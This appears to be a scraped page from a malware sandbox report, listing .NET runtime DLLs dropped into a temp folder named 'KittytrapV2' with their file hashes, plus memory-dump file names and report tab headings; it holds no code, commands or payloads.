SHA1 87dfbfd7ae36be8a6c86ea945c0fe73289924bc1
SHA512 80ca52c76e7ed3f0e7890ea7fd675887183d99c7f4bb534179885ab64edba911a6785c876d28b81912a8507c6dc0fdce902a28b2185bad7cfc5d0e286439075b
SSDEEP 3072:j/tl4GQVyPbVCBtYcY3ypJ9/i8TyPmQ7d6l:ztqG4YOS2erdg
TLSH
T131F34A2B93D8C203C61F81B8C5678246B7B3A19B4352D3CB58D8D9581E97BC57EF21A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.WebHeaderCollection.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.WebHeaderCollection.dll
Size 62KB
SHA256 c58d991a3b583a446ba25ab8d4d4c6995ac304b36719fb09e9c4d3cf9f9595eb
MD5 4b50e6241788d503a75579aceb454a79
SHA1 39d376dcdc5a42728bad8512eca95e7fbeb0ae44
SHA512 1417fee0842f897f46821eae4ea646cc83c3ce634288483d9cfd79fc6a225815f0a8c62ca33d06cd630ea7ce5eeb1bc896121fd095960be612fddd0e17979867
SSDEEP 768:+/ORmu8KiueGSDfC10KGElqRQwpv9BvydtHD9zLXM:+CmWiuDF5GEl/CB0pzQ
TLSH
T179535B28D3D84209EA77977CC2B78449CA33FA621752C5EF1885C6490FD3BC19BB257A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.CoreLib.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.CoreLib.dll
Size 15.3MB
SHA256 bb9a91b896447b666487d7c6538d0e1a79dbed3604ed913315a59a7c0ec6e7c6
MD5 acfd2ad4337d0efcc734098d70a04e2d
SHA1 f60108139a10cc492daa93491478611c1536b097
SHA512 0b569773107d2d0910574c0ef02c487ecc332575ec5ae679fa6383249c36a0ef37d95dd5677cebb29310b2575ccc05aa2977626003b79672d87c359b82d5fcc8
SSDEEP 196608:tz8tp+2zZ5bTp7Okcl8QP7uOH0XrGGEyllZqe03:J8tp/lxTp7al8Q6OH0XrvX2N
TLSH
T1BDF69D10E3D4CB4AE53E927C8153C225EAB5F8926326C2C70158EA493F63FD9673B761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.Uri.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Uri.dll
Size 250KB
SHA256 d6ebdbc74e8f4df527fec1ce188822adba990a7c2e11020c89c415c80b61a34a
MD5 420c26d8d132c0d48e7e6ed9634c1e6c
SHA1 99503770cdb719e6c54b8e89f4c300904eea428d
SHA512 f5abb0b470b12584f7bd4a9e36aa36a97633984dd13480d27134ad7444038fc3659a2fbb4bae62eb13daf809f49726ba309056e2d5b29fe15cf60d7002d2a588
SSDEEP 6144:LEtNow00kgnYGFr76LGZxJyjMjPhArX+AVSP3m/3tpeB9pSzF17K3O2djHMYYMp0:xIhtCmC2+HtGg
TLSH
T19B448D1BB3C80E6AFB2EC3BD8693C592D272B1925305E7DB07B4D5812E133C15A79993
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.Xml.Linq.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Xml.Linq.dll
Size 382KB
SHA256 c028f975e4c4487a6266efe93106b17ed0e1020a1ef802efb2c971a7cabb2ad1
MD5 06bb429392c39ea13c6e780372461094
SHA1 ae29b751e6fa9225a40353d2966a2a06017c0034
SHA512 6d81143f0512cd024ceb0f3280e1c065fc1e3395f8aeae6a96c743e8534f2f6d77075c798159592425cde0bbf8f84c055a192e0f0a2528385f914b8a38b32e24
SSDEEP 6144:hgRQPsxlsLJpYKcscCx8tYSqLiViCDPuA:hg6PsxexmYSV3v
TLSH
T17C847C24E3C80A12DF6F92BCC153C941E1B1D25243DAD6CB8538EFE55E8B7C4A67216B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.Xml.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Xml.dll
Size 7.4MB
SHA256 9380bd61bfb15a0066cbf5c10f9a50729c8020d72c84a8eb37fb0074c582b392
MD5 2be1447da6983713c5b246904aa248c8
SHA1 5e076da5fc82b6ef91c98a179fcb813e72c8b273
SHA512 96c7cdc1861c76ef4b1656bf63bc2ab9673a92f3db5c2badc523cbacf92ae2e9a47bf6253dc3a1e691d5ae1da3997ef8f91b3b347f09c07aea4b12792e33a648
SSDEEP 98304:Smv4nygnKe+85ykjHD0x5TSJqjfAF31DMsrUA:LvEMoyGHeTSAE3xM8V
TLSH
T1C3767C14B3C40A19D32FC27D92238611E6F9B8933356EAEF0458DAC51F937C18A7766B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Runtime.InteropServices.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Runtime.InteropServices.dll
Size 110KB
SHA256 500ba5ed075420e8d6857bf38c79708a062f855d1ce87d505b3f1df9357806c6
MD5 dfa380da21f3ae64310eee6918df2ef2
SHA1 34af7a2ce82c6e5482478a08a11d339b9cf193f8
SHA512 d795a7f7ab82926804616258a5c67e0d53d766f970c1d17d3cdbf38d7cf72b081353aa21e9bb0a860e203da61e9346404609d77dfcbfccae56b6e52bf21b71a6
SSDEEP 1536:up2RQtNQMAyNBKTerzicKDq5t4udNY/w2yVvONugk94RHPeF20gB8qzT7:upAiNQMAIKTVC2udNY42ypAuSmcaqX7
TLSH
T1C6B34A207B98863ACA5A473898336D04CEB3FEC69322E6CF9544C49D0FD77C066757A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Claims.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Claims.dll
Size 98KB
SHA256 a57dc1dfd3d2cb774e517e826c05d3e81098d09cee868de4104cf6f1a8a7c4c5
MD5 3c4e6509e453012fef309a02781ffe30
SHA1 01b134f0357c97d121d172da5ee3bf2a98ea382f
SHA512 203f20a1726dd0ec4bb8682ef22fb340312c6107feabb8bc363a48b9c3f7bca799961195d823a08d9584d6ee6fa135a225f7fe8f2d43c42d35dd87b3c3946ef2
SSDEEP 1536:mhAUIoA3VU8GPjLLWNYcIfc/H31IMrOQwQ7rzUU3q2bP6mBvjrvzs:m2doGVU8GbLLaYcIfc/hNRI
TLSH
T1BBA34A1877EC0316D6BB0E3D85F28009D5B5F9822722C6EF09399A0D5E97BC1D631E2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Cryptography.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Cryptography.dll
Size 2.4MB
SHA256 b11f291573c6dbd6b3d1cadcd0e7a4f7eced94ff009e4061981d91f1315f721a
MD5 5a099f2c157948a4871084b653eccb7d
SHA1 3756cce480c3c95d55e567a0542a8c1a98aa098e
SHA512 c5985ea44c654d1d07c7d2214285a52339acd80d28cf42a6e30d7f51d8f70c1258e8763486cf23b7e1d1652713596146f8cd07d77935d575b38288fb42d2d5c1
SSDEEP 49152:k+eiPVGpQ+nlM82RPOmtx/VBmNDx+62tlDzn:BeD9llmT
TLSH
T1CEC57C04B3C4064AD1AEDAFEC1174956D5B0F44693C29BEF46C9CE482FA37C2977226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Principal.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Principal.Windows.dll
Size 174KB
SHA256 972a50bb0fb2569e1b77c20465ce8783fc53dba9c2132a33a749ef72977a4c23
MD5 f06d5b5f7d0e57ef8079cde389a1a0df
SHA1 d4ea8fb46777c85eb0be012f69501fd88d856c8c
SHA512 644e00c18e4f88b12d0686c1d193758f0abe31b1dac904000949eccea54c087e50ad3139d197618af05267286a87b687381d1ba418dd97e0a368c06afc1f9dd0
SSDEEP 3072:tA6a2mRkHtntehhzNUxmbr/3rsd1MVbXpWwsh6aH:O6a2l1tscmbr/w88VH
TLSH
T1C0044B265B880643E76F8A7C81E3664597B3A45707819BCB14C0C9E91F97BC3FB32267
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Threading.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Threading.dll
Size 82KB
SHA256 7175ac06b5908412692d2c2e124cb79f58aaee61ade19bb81118d14a92bb7694
MD5 ccb30dd6940a1943b8129bfe5da67d63
SHA1 e0d7d2cc0e425bc401b51b3148cc708ed6c2452c
SHA512 77e73d93df00ab1cbdb1d66a68ea886c89f11201be491136c0cb39fe6e986a94450a608d9b73d29f91f0db011a7009834d378e2e17202edc7eedea4ad0b2bd7d
SSDEEP 1536:cLVlwV2H8OyQwXeisjb9Rpd5bTF9o6zionNozn:cZlJH8OxwXdsf9RpHHF9o6GonKT
TLSH
T19F834B11B3E8090AF67B1779D6B75905C172FEE22B01D6CF4069D20D2FA77C096B226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1992-242-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-239-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-240-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-241-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-238-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-243-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-244-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-245-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-248-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-237-0x00000202622C0000-0x00000202622E2000-memory.dmp

Download

memory/1992-236-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

Download

memory/1992-233-0x00007FFE6A94F000-0x00007FFE6A950000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads